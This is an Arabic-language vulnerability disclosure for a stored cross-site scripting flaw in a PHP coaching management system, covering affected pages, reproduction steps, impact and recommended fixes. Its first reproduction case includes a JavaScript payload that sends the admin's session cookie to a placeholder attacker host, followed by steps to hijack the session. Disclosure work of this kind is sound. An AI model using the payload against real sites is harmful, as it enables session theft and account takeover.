البرمجة النصية عبر المواقع المخزنة (XSS) في نظام إدارة التدريب تؤدي إلى الاستيلاء على الحساب
المنتج
نظام إدارة التدريب في PHP (Code-Projects.org)
https://code-projects.org/coaching-management-system-in-php-with-source-code/
المكونات المتأثرة
- /modules/student/complaint.php (تقديم الشكوى)
- /modules/admin/incomingcomplaint.php (عرض الشكوى)
- وظيفة الرد على الشكوى (المشرف/المعلم ← الطالب)
الإصدار
غير معروف (لم تقدم الجهة المطوّرة أي معلومات عن الإصدار؛ تم الاختبار على أحدث إصدار متاح من Code-Projects.org اعتبارًا من أبريل 2026)
نوع الثغرة
CWE-79: التحييد غير الصحيح للمدخلات أثناء توليد صفحة الويب (البرمجة النصية عبر المواقع المخزنة)
الوصف
يفشل التطبيق في تعقيم مدخلات المستخدم بشكل صحيح في وظيفة الشكاوى والردود. يتم تخزين أكواد JavaScript الخبيثة التي يحقنها مستخدم ذو صلاحيات منخفضة وتنفيذها عندما يطّلع عليها مستخدمون ذوو صلاحيات أعلى مثل المشرفين أو المعلمين.
بالإضافة إلى ذلك، فإن وظيفة الرد عرضة للثغرة أيضًا، مما يسمح للمشرفين أو المعلمين بحقن أكواد JavaScript يتم تنفيذها في جلسات الطلاب.
يؤدي هذا إلى ثغرة XSS مخزنة تؤثر على أدوار مستخدمين متعددة.
خطوات إعادة الإنتاج
الحالة 1: الطالب ← المشرف (تصعيد الصلاحيات)
-
سجّل الدخول كطالب
-
انتقل إلى:
/modules/student/complaint.php

-
قدّم شكوى تحتوي على الحمولة التالية:
<script>
new Image().src="http://ATTACKER-IP:PORT/?c="+document.cookie;
</script>
-
سجّل الدخول كمشرف
-
انتقل إلى:
/modules/admin/incomingcomplaint.php

-
عندما يطّلع المشرف على الشكوى، تُنفَّذ الحمولة تلقائيًا
-
يتم إرسال ملف تعريف ارتباط جلسة المشرف إلى الخادم الذي يتحكم فيه المهاجم
-
استخدم ملف تعريف ارتباط الجلسة المسروق لاختطاف جلسة المشرف

الحالة 2: المشرف ← الطالب (XSS عكسي)
- سجّل الدخول كمشرف
- ردّ على شكوى باستخدام الحمولة:
- سجّل الدخول كطالب
- اطّلع على رد الشكوى
أدلة إثبات المفهوم
- تم تأكيد تنفيذ JavaScript في لوحة تحكم المشرف عند عرض الشكوى الخبيثة
- تم تسريب ملف تعريف ارتباط الجلسة (PHPSESSID) بنجاح عبر خادم يتحكم فيه المهاجم
- تم اختطاف جلسة المشرف باستخدام ملف تعريف الارتباط المسروق
- تم تأكيد تنفيذ JavaScript في لوحة الطالب عبر وظيفة الرد
الأثر
- يمكن للمستخدمين ذوي الصلاحيات المنخفضة (الطلاب) تنفيذ JavaScript عشوائي في سياق المشرف
- يؤدي إلى اختطاف الجلسة بسبب عدم وجود خاصية HttpOnly
- الاستيلاء الكامل على حساب المشرف
- تسمح XSS ثنائية الاتجاه باختراق أدوار متعددة (المشرف، المعلم، الطالب)
- اختراق كامل لسلامة التطبيق وسريته وتوافره
الخطورة: CRITICAL
السبب الجذري
- عدم تعقيم المدخلات
- غياب ترميز المخرجات
- غياب الضوابط الأمنية على ملفات تعريف ارتباط الجلسة (عدم تعيين خاصية HttpOnly)
التوصية
- قم بتعقيم جميع مدخلات المستخدم والتحقق من صحتها.
- قم بترميز المخرجات باستخدام دوال مثل htmlspecialchars() في PHP
- قم بتعيين خاصيتي HttpOnly وSecure على ملفات تعريف ارتباط الجلسة
- قم بتطبيق سياسة أمان المحتوى (CSP)